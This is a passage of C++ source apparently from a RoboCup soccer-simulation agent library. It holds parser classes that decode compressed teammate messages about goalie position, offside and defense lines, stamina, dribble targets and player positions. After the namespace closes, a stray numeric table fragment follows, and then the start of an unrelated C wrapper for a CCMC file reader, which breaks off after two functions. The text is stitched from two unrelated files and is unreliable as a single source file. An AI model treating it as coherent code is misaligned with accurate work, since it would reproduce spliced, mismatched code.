msg );
return -1;
}
dlog.addText( Logger::SENSOR,
"InterceptMessageParser: success! number=%d cycle=%d",
unum_it->second, cycle->second );
M_memory->setIntercept( sender, unum_it->second, cycle->second, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
GoalieMessageParser::GoalieMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
GoalieMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "g<pos_body:4>"
// the length of message == 5
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "GoalieMessageParser::parse()."
<< " Illegal message [" << msg
<< "] len = " << std::strlen( msg )
<< std::endl;
dlog.addText( Logger::SENSOR,
"GoalieMessageParser: Failed to decode Goalie Info [%s]",
msg );
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "GoalieMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"GoalieMessageParser: Failed to decode Goalie Info [%s]",
msg );
return -1;
}
Vector2D goalie_pos;
AngleDeg goalie_body;
goalie_body = static_cast< double >( ival % 360 - 180 );
ival /= 360;
goalie_pos.y = ( ival % 400 ) * 0.1 - 20.0;
ival /= 400;
goalie_pos.x = ( ival % 160 ) * 0.1 + ( 53.0 - 16.0 );
dlog.addText( Logger::SENSOR,
"GoalieMessageParser: success! goalie pos = (%.2f %.2f) body = %.1f",
goalie_pos.x, goalie_pos.y, goalie_body.degree() );
M_memory->setOpponentGoalie( sender, goalie_pos, goalie_body, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
GoalieAndPlayerMessageParser::GoalieAndPlayerMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
GoalieAndPlayerMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "g<pos_body:4,unm_pos:3>"
// the length of message == 8
// ( 22 * 105/0.63 * 68/0.63 ) * ( 16.0/0.1 * 40.0/0.1 * 360 )
// -> (22 * 168 * 109) * (160 * 400 * 360) = 9281986560000
// 74^6 = 164206490176
// 9281986560000
// 74^7 = 12151280273024
// ( 22 * 105/0.55 * 68/0.55 ) * ( 16.0/0.1 * 40.0/0.1 * 360 )
// -> (22 * 192 * 125) * (160 * 400 * 360) = 12165120000000
// ==========
// ( 22 * 105/0.555 * 68/0.555 ) * ( 16.0/0.1 * 40.0/0.1 * 360 )
// -> (22 * 191 * 124) * (160 * 400 * 360) = 12004945920000
// ==========
// ( 22 * 105/0.56 * 68/0.55 ) * ( 16.0/0.1 * 40.0/0.1 * 360 )
// -> (22 * 189 * 123) * (160 * 400 * 360) = 11783439360000
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "Goalie1PlayerMessageParser::parse()."
<< " Illegal message [" << msg
<< "] len = " << std::strlen( msg )
<< std::endl;
dlog.addText( Logger::SENSOR,
"Goalie1PlayerMessageParser: Failed to decode Goalie Info [%s]",
msg );
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "Goalie1PlayerMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"Goalie1PlayerMessageParser: Failed to decode Goalie Info [%s]",
msg );
return -1;
}
Vector2D goalie_pos;
AngleDeg goalie_body;
int player_number = Unum_Unknown;
Vector2D player_pos;
// 124 > 68/0.555 + 1
player_pos.y = ( ival % 124 ) * 0.555 - 34.0;
ival /= 124;
// 191 > 105/0.555 + 1
player_pos.x = ( ival % 191 ) * 0.555 - 52.5;
ival /= 191;
// 22
player_number = ( ival % 22 ) + 1;
ival /= 22;
goalie_body = static_cast< double >( ival % 360 - 180 );
ival /= 360;
goalie_pos.y = ( ival % 400 ) * 0.1 - 20.0;
ival /= 400;
goalie_pos.x = ( ival % 160 ) * 0.1 + ( 53.0 - 16.0 );
// ival /= 160;
dlog.addText( Logger::SENSOR,
"GoalieAndPlayerMessageParser: success! goalie pos=(%.2f %.2f) body=%.1f",
goalie_pos.x, goalie_pos.y, goalie_body.degree() );
dlog.addText( Logger::SENSOR,
"____ player number=%d pos=(%.2f %.2f)",
player_number, player_pos.x, player_pos.y );
M_memory->setOpponentGoalie( sender, goalie_pos, goalie_body, current );
M_memory->setPlayer( sender, player_number, player_pos, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
OffsideLineMessageParser::OffsideLineMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
OffsideLineMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "o<x_rate:1>"
// the length of message == 2
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "OffsideLineMessageParser::parse()"
<< " Illegal message [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"OffsideLineMessageParser: Failed to decode Offside Line Info [%s]",
msg );
return -1;
}
++msg;
double rate = AudioCodec::i().decodeCharToPercentage( *msg );
if ( rate == AudioCodec::ERROR_VALUE )
{
std::cerr << "OffsideLineMessageParser::parse()"
<< " Failed to read offside line"
<< std::endl;
dlog.addText( Logger::SENSOR,
"OffsideLineMessageParser: Failed to decode Offside Line Info [%s]",
msg );
return -1;
}
double offside_line_x = 10.0 + ( 52.0 - 10.0 ) * rate;
dlog.addText( Logger::SENSOR,
"OffsideLineMessageParser: success! x=%.1f rate=%.3f",
offside_line_x, rate );
M_memory->setOffsideLine( sender, offside_line_x, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
DefenseLineMessageParser::DefenseLineMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
DefenseLineMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "d<x_rate:1>"
// the length of message == 2
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "DefenseLineMessageParser::parse()"
<< " Illegal message [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"DefenseLineMessageParser: Failed to decode Defense Line Info [%s]",
msg );
return -1;
}
++msg;
double rate = AudioCodec::i().decodeCharToPercentage( *msg );
if ( rate == AudioCodec::ERROR_VALUE )
{
std::cerr << "DefenseLineMessageParser::parser()"
<< " Failed to read offside line [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"DefenseLineMessageParser: Failed to decode Defense Line Info [%s]",
msg );
return -1;
}
double defense_line_x = 52.0 + ( -10.0 + 52.0 ) * rate;
dlog.addText( Logger::SENSOR,
"DefenseLineMessageParser::parse() success! x=%.1f rate=%.3f",
defense_line_x, rate );
M_memory->setDefenseLine( sender, defense_line_x, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
WaitRequestMessageParser::WaitRequestMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
WaitRequestMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
if ( *msg != sheader() )
{
return 0;
}
M_memory->setWaitRequest( sender, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
PassRequestMessageParser::PassRequestMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
PassRequestMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "h<pos:3>"
// the length of message == 4
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "PassRequestMessageParser::parse()"
<< " Illegal pass request message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
Vector2D pos;
if ( ! AudioCodec::i().decodeStr3ToPos( std::string( msg, slength() - 1 ),
&pos ) )
{
std::cerr << "PassRequestMessage::parse()"
<< " Failed to decode pass request potiiton. ["
<< msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"AudioSensor: Failed to decode hey pass potiiton" );
return -1;
}
dlog.addText( Logger::SENSOR,
"PassRequestMessageParser: success! "
"sender = %d request pos = (%.2f %.2f)",
sender, pos.x, pos.y );
M_memory->setPassRequest( sender, pos, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
StaminaMessageParser::StaminaMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
StaminaMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "s<rate:1>"
// the length of message == 2
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "StaminaMessageParser::parse()"
<< " Illegal message [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"StaminaMessageParser: Failed to decode Stamina Rate [%s]",
msg );
return -1;
}
++msg;
double rate = AudioCodec::i().decodeCharToPercentage( *msg );
if ( rate < 0.0 || 1.00001 < rate )
{
std::cerr << "StaminaMessageParser::parser()"
<< " Failed to read stamina rate [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"StaminaMessageParser: Failed to decode Stamina Rate [%s]",
msg );
return -1;
}
double stamina = ServerParam::i().staminaMax() * rate;
dlog.addText( Logger::SENSOR,
"StaminaMessageParser::parse() success! rate=%f stamina=%.1f",
rate, stamina );
M_memory->setStamina( sender, rate, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
RecoveryMessageParser::RecoveryMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
RecoveryMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "r<rate:1>"
// the length of message == 2
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "RecoveryMessageParser::parse()"
<< " Illegal message [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"RecoveryMessageParser: Failed to decode Recovery Rate [%s]",
msg );
return -1;
}
++msg;
double rate = AudioCodec::i().decodeCharToPercentage( *msg );
if ( rate == AudioCodec::ERROR_VALUE )
{
std::cerr << "RecoveryMessageParser::parser()"
<< " Failed to read recovery rate [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"RecoveryMessageParser: Failed to decode Recovery Rate [%s]",
msg );
return -1;
}
double recovery
= rate * ( ServerParam::i().recoverInit() - ServerParam::i().recoverMin() )
+ ServerParam::i().recoverMin();
dlog.addText( Logger::SENSOR,
"RecoverMessageParser::parse() success! rate=%f recovery=%.3f",
rate, recovery );
M_memory->setRecovery( sender, rate, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
DribbleMessageParser::DribbleMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
DribbleMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "D<count_pos:3>"
// the length of message == 4
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "DribbleMessageParser::parse()"
<< " Illegal message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "DribbleMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"DribbleMessageParser: Failed to decode Dribble Info [%s]",
msg );
return -1;
}
Vector2D pos;
int count;
count = static_cast< int >( ival % 10 ) + 1;
ival /= 10;
boost::int64_t div = static_cast< boost::int64_t >( std::ceil( 68.0 / 0.5 ) );
pos.y = ( ival % div ) * 0.5 - 34.0;
ival /= div;
// div = static_cast< boost::int64_t >( std::ceil( 105.0 / 0.5 ) );
// pos.x = ( ival % div ) * 0.5 - 52.5;
pos.x = ival * 0.5 - 52.5;
dlog.addText( Logger::SENSOR,
"DribbleMessageParser: success! "
"sender = %d target_pos=(%.2f %.2f) count=%d",
sender, pos.x, pos.y, count );
M_memory->setDribbleTarget( sender, pos, count, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
BallGoalieMessageParser::BallGoalieMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
BallGoalieMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "G<bpos_bvel_gpos_gbody:9>"
// the length of message == 10
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "BallGoalieMessageParser::parse()"
<< " Illegal message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "BallGoalieMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"BallGoalieMessageParser: Failed to decode Goalie Info [%s]",
msg );
return -1;
}
// 74^9 = 66540410775079424
// 1050*680*60*60*160*400*360 = 59222016000000000
// 1050*680*63*63*160*400*360 = 65292272640000000
const double max_speed = ServerParam::i().ballSpeedMax();
const double prec_speed = max_speed * 2.0 / 63.0;
Vector2D ball_pos;
Vector2D ball_vel;
Vector2D goalie_pos;
AngleDeg goalie_body;
goalie_body = static_cast< double >( ival % 360 - 180 );
ival /= 360;
goalie_pos.y = ( ival % 400 ) * 0.1 - 20.0;
ival /= 400;
goalie_pos.x = ( ival % 160 ) * 0.1 + ( 52.5 - 16.0 );
ival /= 160;
ball_vel.y = ( ival % 63 ) * prec_speed - max_speed;
ival /= 63;
ball_vel.x = ( ival % 63 ) * prec_speed - max_speed;
ival /= 63;
ball_pos.y = ( ival % 680 ) * 0.1 - 34.0;
ival /= 680;
ball_pos.x = ( ival % 1050 ) * 0.1 - 52.5;
//ival /= 1050;
dlog.addText( Logger::SENSOR,
"BallGoalieMessageParser: success! "
"sender = %d bpos(%.1f %.1f) bvel(%.1f %.1f)"
" gpos(%.1f %.1f) gbody %.1f",
sender,
ball_pos.x, ball_pos.y,
ball_vel.x, ball_vel.y,
goalie_pos.x, goalie_pos.y,
goalie_body.degree() );
M_memory->setBall( sender, ball_pos, ball_vel, current );
M_memory->setOpponentGoalie( sender, goalie_pos, goalie_body, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
OnePlayerMessageParser::OnePlayerMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
OnePlayerMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "P<unum_pos:3>"
// the length of message == 4
// ( 22 * 105/0.63 * 68/0.63 ) = 395767.195767196 < 74^3(=405224)
// -> 22 * 168 * 109 = 402864
// 74^3 = 405224
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "OnePlayerMessageParser::parse()"
<< " Illegal message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "OnePlayerMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"OnePlayerMessageParser: Failed to decode Player Info [%s]",
msg );
return -1;
}
int player_unum = Unum_Unknown;
Vector2D player_pos;
// 109 > 68/0.63 + 1
player_pos.y = ( ival % 109 ) * 0.63 - 34.0;
ival /= 109;
// 168 > 105/0.63 + 1
player_pos.x = ( ival % 168 ) * 0.63 - 52.5;
ival /= 168;
// 22
player_unum = ( ival % 22 ) + 1;
ival /= 22;
dlog.addText( Logger::SENSOR,
"OnePlayerMessageParser: success! "
"unum = %d pos(%.1f %.1f)",
player_unum,
player_pos.x, player_pos.y );
M_memory->setPlayer( sender,
player_unum,
player_pos,
current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
TwoPlayerMessageParser::TwoPlayerMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
TwoPlayerMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "Q<unum_pos:3,unum_pos3>"
// the length of message == 7
// ( 22 * 105/0.63 * 68/0.63 ) = 395767.195767196 < 74^3(=405224)
// -> 22 * 168 * 109 = 402864
// (22 * 168 * 109)^2 = 162299402496
// 74^6 = 164206490176
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "TwoPlayerMessageParser::parse()"
<< " Illegal message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "TwoPlayerMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"TwoPlayerMessageParser: Failed to decode Player Info [%s]",
msg );
return -1;
}
int player1_unum = Unum_Unknown;
Vector2D player1_pos;
int player2_unum = Unum_Unknown;
Vector2D player2_pos;
// 109 > 68/0.63
player2_pos.y = ( ival % 109 ) * 0.63 - 34.0;
ival /= 109;
// 168 > 105/0.63
player2_pos.x = ( ival % 168 ) * 0.63 - 52.5;
ival /= 168;
// 22
player2_unum = ( ival % 22 ) + 1;
ival /= 22;
// 109 > 68/0.63
player1_pos.y = ( ival % 109 ) * 0.63 - 34.0;
ival /= 109;
// 168 > 105/0.63
player1_pos.x = ( ival % 168 ) * 0.63 - 52.5;
ival /= 168;
// 22
player1_unum = ( ival % 22 ) + 1;
ival /= 22;
dlog.addText( Logger::SENSOR,
"TwoPlayerMessageParser: success! "
"(unum=%d (%.2f %.2f)), (unum=%d (%.2f %.2f)) ",
player1_unum,
player1_pos.x, player1_pos.y,
player2_unum,
player2_pos.x, player2_pos.y );
M_memory->setPlayer( sender,
player1_unum,
player1_pos,
current );
M_memory->setPlayer( sender,
player2_unum,
player2_pos,
current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
ThreePlayerMessageParser::ThreePlayerMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
ThreePlayerMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "R<unum_pos:3,unum_pos:3,unm_pos:3>"
// the length of message == 10
// ( 22 * 105/0.63 * 68/0.63 ) = 395767.195767196 < 74^3(=405224)
// -> 22 * 168 * 109 = 402864
// (22 * 168 * 109)^3 = 65384586487148544
// 74^9 = 66540410775079424
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "ThreePlayerMessageParser::parse()"
<< " Illegal message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "ThreePlayerMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"ThreePlayerMessageParser: Failed to decode Player Info [%s]",
msg );
return -1;
}
int player1_unum = Unum_Unknown;
Vector2D player1_pos;
int player2_unum = Unum_Unknown;
Vector2D player2_pos;
int player3_unum = Unum_Unknown;
Vector2D player3_pos;
// 109 > 68/0.63
player3_pos.y = ( ival % 109 ) * 0.63 - 34.0;
ival /= 109;
// 168 > 105/0.63
player3_pos.x = ( ival % 168 ) * 0.63 - 52.5;
ival /= 168;
// 22
player3_unum = ( ival % 22 ) + 1;
ival /= 22;
// 109 > 68/0.63
player2_pos.y = ( ival % 109 ) * 0.63 - 34.0;
ival /= 109;
// 168 > 105/0.63
player2_pos.x = ( ival % 168 ) * 0.63 - 52.5;
ival /= 168;
// 22
player2_unum = ( ival % 22 ) + 1;
ival /= 22;
// 109 > 68/0.63
player1_pos.y = ( ival % 109 ) * 0.63 - 34.0;
ival /= 109;
// 168 > 105/0.63
player1_pos.x = ( ival % 168 ) * 0.63 - 52.5;
ival /= 168;
// 22
player1_unum = ( ival % 22 ) + 1;
ival /= 22;
dlog.addText( Logger::SENSOR,
"ThreePlayerMessageParser: success! "
"(unum=%d (%.2f %.2f)), (unum=%d (%.2f %.2f)), (unum=%d (%.2f %.2f)) ",
player1_unum,
player1_pos.x, player1_pos.y,
player2_unum,
player2_pos.x, player2_pos.y,
player3_unum,
player3_pos.x, player3_pos.y );
M_memory->setPlayer( sender,
player1_unum,
player1_pos,
current );
M_memory->setPlayer( sender,
player2_unum,
player2_pos,
current );
M_memory->setPlayer( sender,
player3_unum,
player3_pos,
current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
SelfMessageParser::SelfMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
SelfMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "S<pos_body_stamina:4>"
// the length of message == 5
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "SelfMessageParser::parse()"
<< " Illegal message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "SelfMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"SelfMessageParser: Failed to decode Player Info [%s]",
msg );
return -1;
}
int player_unum = sender;
Vector2D player_pos;
AngleDeg player_body;
double stamina = -1.0;
// 11
stamina = ServerParam::i().staminaMax() * static_cast< double >( ( ival % 11 ) ) / 10.0;
ival /= 11;
// 60=360/6
player_body = ( ival % 60 ) * 6.0 - 180.0;
ival /= 60;
// 171 > 68/0.4
player_pos.y = ( ival % 171 ) * 0.4 - 34.0;
ival /= 171;
// 264 > 105/0.4=262.5
player_pos.x = ( ival % 264 ) * 0.4 - 52.5;
//ival /= 264;
dlog.addText( Logger::SENSOR,
"SelfMessageParser: success! "
"unum = %d pos(%.1f %.1f) body=%.1f stamina=%f",
player_unum,
player_pos.x, player_pos.y,
player_body.degree(),
stamina );
M_memory->setPlayer( sender,
player_unum,
player_pos,
player_body.degree(),
stamina,
current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
TeammateMessageParser::TeammateMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
TeammateMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "T<unum_pos_body:4>"
// the length of message == 5
//11 * 105/0.7 * 68/0.7 * 360/2
// -> 11 * 151 * 98 * 180
// =29300040 < 4 characters(74^4=29986576)
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "TeammateMessageParser::parse()"
<< " Illegal message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "TeammateMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"TeammateMessageParser: Failed to decode Player Info [%s]",
msg );
return -1;
}
int player_unum = Unum_Unknown;
Vector2D player_pos;
AngleDeg player_body;
// 180=360/2
player_body = static_cast< double >( ( ival % 180 ) * 2 - 180 );
ival /= 180;
// 98=68/0.7=97.14
player_pos.y = ( ival % 98 ) * 0.7 - 34.0;
ival /= 98;
// 151>105/0.7=150
player_pos.x = ( ival % 151 ) * 0.7 - 52.5;
ival /= 151;
player_unum = ( ival % 11 ) + 1;
// ival /= 11
dlog.addText( Logger::SENSOR,
"TeammateMessageParser: success! "
"unum = %d pos(%.1f %.1f) body %.1f",
player_unum,
player_pos.x, player_pos.y,
player_body.degree() );
M_memory->setPlayer( sender,
player_unum,
player_pos,
player_body.degree(),
-1.0, // unknown stamina
current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
OpponentMessageParser::OpponentMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
OpponentMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "O<unum_pos_body:4>"
// the length of message == 5
//11 * 105/0.7 * 68/0.7 * 360/2
// -> 11 * 151 * 98 * 180
// =29300040 < 4 characters(74^4=29986576)
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "OpponentMessageParser::parse()"
<< " Illegal message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, slength() - 1 ),
&ival ) )
{
std::cerr << "OpponentMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"OpponentMessageParser: Failed to decode Player Info [%s]",
msg );
return -1;
}
int player_unum = Unum_Unknown;
Vector2D player_pos;
AngleDeg player_body;
// 180=360/2
player_body = static_cast< double >( ( ival % 180 ) * 2 - 180 );
ival /= 180;
// 98=68/0.7=97.14
player_pos.y = ( ival % 98 ) * 0.7 - 34.0;
ival /= 98;
// 151>105/0.7=150
player_pos.x = ( ival % 151 ) * 0.7 - 52.5;
ival /= 151;
player_unum = ( ival % 11 ) + 1;
// ival /= 11
dlog.addText( Logger::SENSOR,
"OpponentMessageParser: success! "
"unum = %d pos(%.1f %.1f) body %.1f",
player_unum,
player_pos.x, player_pos.y,
player_body.degree() );
M_memory->setPlayer( sender,
player_unum + 11,
player_pos,
player_body.degree(),
-1.0, // unknown stamina
current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
BallPlayerMessageParser::BallPlayerMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
BallPlayerMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "P<bpos_bvel_unum_pos_body:9>"
// the length of message == 10
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "OnePlayerMessageParser::parse()"
<< " Illegal message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
return -1;
}
++msg;
Vector2D ball_pos;
Vector2D ball_vel;
if ( ! AudioCodec::i().decodeStr5ToPosVel( std::string( msg, 5 ),
&ball_pos, &ball_vel ) )
{
std::cerr << "***ERROR*** BallPlayerMessageParser::parse()"
<< " Failed to decode ball [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"BallPlayerMessageParser: Failed to decode Ball Info [%s]",
msg );
return -1;
}
msg += 5;
boost::int64_t ival = 0;
if ( ! AudioCodec::i().decodeStrToInt64( std::string( msg, 4 ),
&ival ) )
{
std::cerr << "BallPlayerMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"BallPlayerMessageParser: Failed to decode Player Info [%s]",
msg );
return -1;
}
int player_unum = Unum_Unknown;
Vector2D player_pos;
AngleDeg player_body;
// 180=360/2
player_body = static_cast< double >( ( ival % 180 ) * 2 - 180 );
ival /= 180;
// 69 > 68/1.0
player_pos.y = ( ival % 69 ) * 1.0 - 34.0;
ival /= 69;
// 106 > 105/1.0
player_pos.x = ( ival % 106 ) * 1.0 - 52.5;
ival /= 106;
player_unum = ( ival % 22 ) + 1;
// ival /= 22
dlog.addText( Logger::SENSOR,
"BallPlayerMessageParser: success! "
" bpos(%.1f %.1f) bvel(%.1f %.1f)"
" unum=%d pos(%.1f %.1f) body %.1f",
ball_pos.x, ball_pos.y,
ball_vel.x, ball_vel.y,
player_unum,
player_pos.x, player_pos.y,
player_body.degree() );
M_memory->setBall( sender, ball_pos, ball_vel, current );
M_memory->setPlayer( sender,
player_unum,
player_pos,
player_body.degree(),
-1.0, // unknown stamina
current );
return slength();
}
} // end namespace rcsc
| 46,915 | 15,880 |
/*
* GeneralFileReader_compatibility.h
*
* Created on: Mar 16, 2010
* Author: dberrios
*/
#include "GeneralFileReader_f.h"
#include <ccmc/wrappers/c/GeneralFileReader_c.h>
#include <ccmc/GeneralFileReader.h>
#include <ccmc/Kameleon.h>
#include <string>
#include <string.h>
#include <iostream>
using namespace ccmc;
void f_generalfilereader_create_(int * id)
{
*id = GeneralFileReader_create();
}
void f_generalfilereader_open_(int * id, const char * filename, long * status)
{
*status = GeneralFileReader_open(*id, filename);
}
